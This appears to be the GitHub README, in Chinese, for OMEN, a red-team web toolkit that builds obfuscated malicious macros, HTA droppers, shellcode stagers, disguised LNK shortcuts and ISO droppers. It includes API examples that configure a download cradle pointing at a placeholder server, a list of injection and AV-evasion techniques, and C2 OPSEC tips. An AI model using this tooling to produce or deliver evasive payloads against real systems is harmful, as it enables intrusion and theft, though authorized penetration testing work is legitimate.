Adam-ZS/OMEN
GitHub: Adam-ZS/OMEN
OMEN 是一个基于 Flask 的红队载荷生成工具包,提供统一的 Web 界面与 API 来快速构建和混淆 Office 宏、HTA、LNK 等多种类型的攻击载荷与投递物。
Stars: 0 | Forks: 0
# ◈ OMEN — Artifact Toolkit Builder
```
██████╗ ███╗ ███╗███████╗███╗ ██╗
██╔═══██╗████╗ ████║██╔════╝████╗ ██║
██║ ██║██╔████╔██║█████╗ ██╔██╗ ██║
██║ ██║██║╚██╔╝██║██╔══╝ ██║╚██╗██║
╚██████╔╝██║ ╚═╝ ██║███████╗██║ ╚████║
╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝
```
*版权所有 (c) 2025 Adam-ZS — https://github.com/Adam-ZS*
[]()
[]()
[]()
[]()
**OMEN** 是一个基于 Web 的 Artifact Toolkit Builder,专为授权的安全评估而设计。它提供了一个简洁的玻璃拟态深色 UI,用于快速生成恶意文档、payload 和投递机制,并支持配置混淆级别。
专为红队、渗透测试人员和安全研究人员打造,他们需要一个统一的接口来生成 payload,而无需在十几个不同的工具之间切换。
## ⚠️ 法律免责声明
## ✨ 功能
### Generator 模块
- 📄 **Office VBA Macro** — 下载 cradles、keyloggers、droppers、reverse shells、凭据钓鱼、持久化(AutoOpen/Workbook_Open)
- 🌐 **HTA Payload** — 包含 PowerShell、BITSAdmin、Certutil、XMLHTTP 或 WScript droppers 的 HTML 应用程序;支持 fallback 链和沙箱规避
- 💻 **VBA Stager** — Shellcode 加载器、DLL 注入、进程镂空,以及带有完整 Win32 API 声明的 WinHTTP 下载 stager
- 🕸 **JavaScript Payload** — 针对 WSH、浏览器或 Node.js 目标;下载 cradles、反向 HTTP beacon、keyloggers、WMI 持久化、屏幕捕获、剪贴板监控
- 🔗 **LNK Shortcut** — 具有图标伪装(PDF、文件夹、文档、Chrome)、热键触发和隐藏执行的恶意快捷方式文件
- 💿 **ISO Disk Image** — 用于构建包含嵌入式 droppers、支持 autorun.inf 和虚假文档名称的 ISO 镜像的 PowerShell 脚本
### 混淆引擎
- 🔒 **Base64** — 简单编码
- 🔐 **XOR** — 基于密钥的 XOR 混淆,支持运行时解密
- 🛡 **AES-256** — 完整的 AES 加密包装器
- 🔥 **Full Multi-Layer** — 结合垃圾代码注入和变量随机化的组合混淆
### Web Dashboard
- 🎨 **Glassmorphism Dark UI** — 现代、响应式的界面,带有玻璃卡片
- ⚡ **Live Preview** — 下载前预览生成的 artifact
- 📊 **Risk Analysis** — 带有检测风险评分的静态分析
- 📦 **Batch Downloads** — 在一个 ZIP 中生成多种 artifact 类型
- 🔍 **Copy to Clipboard** — 一键复制以便快速使用
- ⌨ **Keyboard Shortcuts** — Ctrl+Enter 生成,Ctrl+D 下载
## 🚀 快速开始
### 安装
```
# Clone the repository
git clone https://github.com/Adam-ZS/OMEN.git
cd OMEN
# 安装依赖项
pip install -r requirements.txt
# 运行服务器
python app.py
```
在浏览器中打开 `http://localhost:5000` 即可开始使用。
### Docker
```
docker build -t omen-toolkit .
docker run -p 5000:5000 omen-toolkit
```
## 🏗 架构

```
┌──────────────────────────────────────────────────────────┐
│ OMEN Web Server │
│ ┌────────────┐ ┌──────────────┐ ┌──────────────────┐ │
│ │ Generator │ │ Obfuscation │ │ Analysis Engine │ │
│ │ Modules │──▶ Engine │──▶ (Risk Scoring) │ │
│ └────────────┘ └──────────────┘ └──────────────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────────────────────────────────────────┐ │
│ │ API Layer (REST JSON) │ │
│ │ /api/generators /api/generate /api/download │ │
│ │ /api/preview /api/analyze /api/obfuscate │ │
│ └──────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────┐
│ Glassmorphism Dark Web UI │
│ ┌──────────┐ ┌──────────────────┐ ┌───────────────┐ │
│ │ Generator │ │ Config Panel │ │ Output / │ │
│ │ Sidebar │ │ (Dynamic Forms) │ │ Preview Pane │ │
│ └──────────┘ └──────────────────┘ └───────────────┘ │
└──────────────────────────────────────────────────────────┘
```
## 📖 用法
### Web 界面
1. 从侧边栏**选择一个 Generator**(Macro、HTA、VBA、JS、LNK、ISO)
2. **配置选项** — 每个 Generator 都有自己的表单和相关的参数(URL、目标进程、混淆设置)
3. **设置混淆级别** — 从 None 到 Full 多层混淆
4. **点击“Generate Artifact”** — 输出将显示在预览窗格中
5. **下载、复制或分析** — 使用操作按钮
### API
所有 Generator 均可通过 REST API 访问:
```
# 列出可用 generators
curl http://localhost:5000/api/generators
# 生成 artifact
curl -X POST http://localhost:5000/api/generate \
-H "Content-Type: application/json" \
-d '{
"generator": "macro",
"options": {
"payload_type": "download_cradle",
"url": "http://YOUR_SERVER/payload.exe",
"auto_open": true,
"sandbox_evasion": true
},
"obfuscation": "aes"
}'
# 下载已生成的 artifact
curl -X POST http://localhost:5000/api/download \
-H "Content-Type: application/json" \
-d '{"generator": "hta", "options": {"payload_url": "http://YOUR_SERVER/payload.exe"}}' \
--output payload.hta
# 分析 artifact 的检测风险
curl -X POST http://localhost:5000/api/analyze \
-H "Content-Type: application/json" \
-d '{"content": "your payload content here"}'
# 批量下载多个 artifacts
curl -X POST http://localhost:5000/api/download/batch \
-H "Content-Type: application/json" \
-d '{"requests": [{"generator": "macro"}, {"generator": "hta"}]}' \
--output artifacts.zip
```
## 🧩 Generator 模块
### Office VBA Macro
通过 MSXML2.XMLHTTP + ADODB.Stream 下载并执行 payload,带有 AutoOpen/Workbook_Open 触发器、沙箱规避检查和可选的自删除功能。
### HTA Payload
使用 PowerShell、BITSAdmin、Certutil、原始 XMLHTTP 或 WScript 投递并执行 payload 的 HTML 应用程序。可配置的 fallback 链会尝试多种方法。
### VBA Stager
包含用于执行 shellcode(VirtualAlloc + RtlMoveMemory + CreateThread)、DLL 注入(OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread)和进程镂空的完整 Win32 API 声明。
### JavaScript Payload
适用于 WSH(ActiveXObject)、浏览器(DOM API)和 Node.js(http/child_process 模块)的跨运行时 JS payload。支持带命令执行的反向 HTTP beacon。
### LNK Shortcut
基于 VBScript 的 .lnk 快捷方式创建器,具有图标伪装、热键触发和隐藏执行功能。可伪装为文档、文件夹或系统实用工具。
### ISO Disk Image
生成带有嵌入式 droppers 的可启动 ISO 镜像的 PowerShell 脚本。支持在较旧版本的 Windows 上使用 autorun.inf 进行 AutoPlay 执行。
## 🔒 混淆级别
| 级别 | 方法 | 大小开销 | 检测降低率 |
|-------|--------|--------------|-------------------|
| None | 原始输出 | 0% | 基准 |
| Base64 | 标准编码 | ~33% | 低 |
| XOR | 滚动密钥 XOR + Base64 | ~40% | 中 |
| AES | AES-256 CBC 加密 | ~50% | 高 |
| Full | 多层 + 垃圾代码 + 变量随机化 | ~80-120% | 极高 |
## 🛡 OPSEC 注意事项
1. **切勿在生产网络上生成 payload** — 使用隔离的 VM 或物理隔离系统
2. **加密所有 C2 流量** — 使用 HTTPS 进行通信,使用 DNS over HTTPS 进行数据外发
3. **使用重定向器** — 切勿直接暴露您的 C2 基础设施
4. **频繁轮换 payload** — 静态 payload 会很快被提取特征码
5. **首先在您的实验室中测试** — 在执行操作前验证检测率
6. **注意清理** — 生成的 artifact 可能会被本地 AV 隔离
## 📁 项目结构
```
omen/
├── app.py # Flask web application
├── requirements.txt # Python dependencies
├── generators/
│ ├── __init__.py # Base Generator class
│ ├── macro.py # Office VBA macro generator
│ ├── hta.py # HTA payload generator
│ ├── vba.py # VBA stager generator
│ ├── js_payload.py # JavaScript payload generator
│ ├── lnk.py # LNK shortcut generator
│ └── iso.py # ISO disk image builder
├── static/
│ ├── css/
│ │ └── style.css # Glassmorphism dark theme
│ └── js/
│ └── app.js # Frontend application logic
├── templates/
│ └── index.html # Main UI template
├── screenshots/
│ ├── architecture.png # Architecture diagram
│ └── dashboard.png # Dashboard screenshot
└── README.md # This file
```
## 📄 许可证
版权所有 (c) 2025 **Adam-ZS** — https://github.com/Adam-ZS
**仅供教育用途** — 完整条款请参见 [LICENSE](LICENSE)。
未经授权访问计算机系统是违法行为。在测试任何您不拥有的系统之前,您必须获得明确的书面许可。
*由 [Adam-ZS](https://github.com/Adam-ZS) 使用 ◈ 构建,仅用于授权测试和教育。*
标签:DNS 反向解析, Flask, Payload生成, 代码混淆, 免杀混淆, 搜索语句(dork), 数据可视化, 知识库安全, 请求拦截, 逆向工具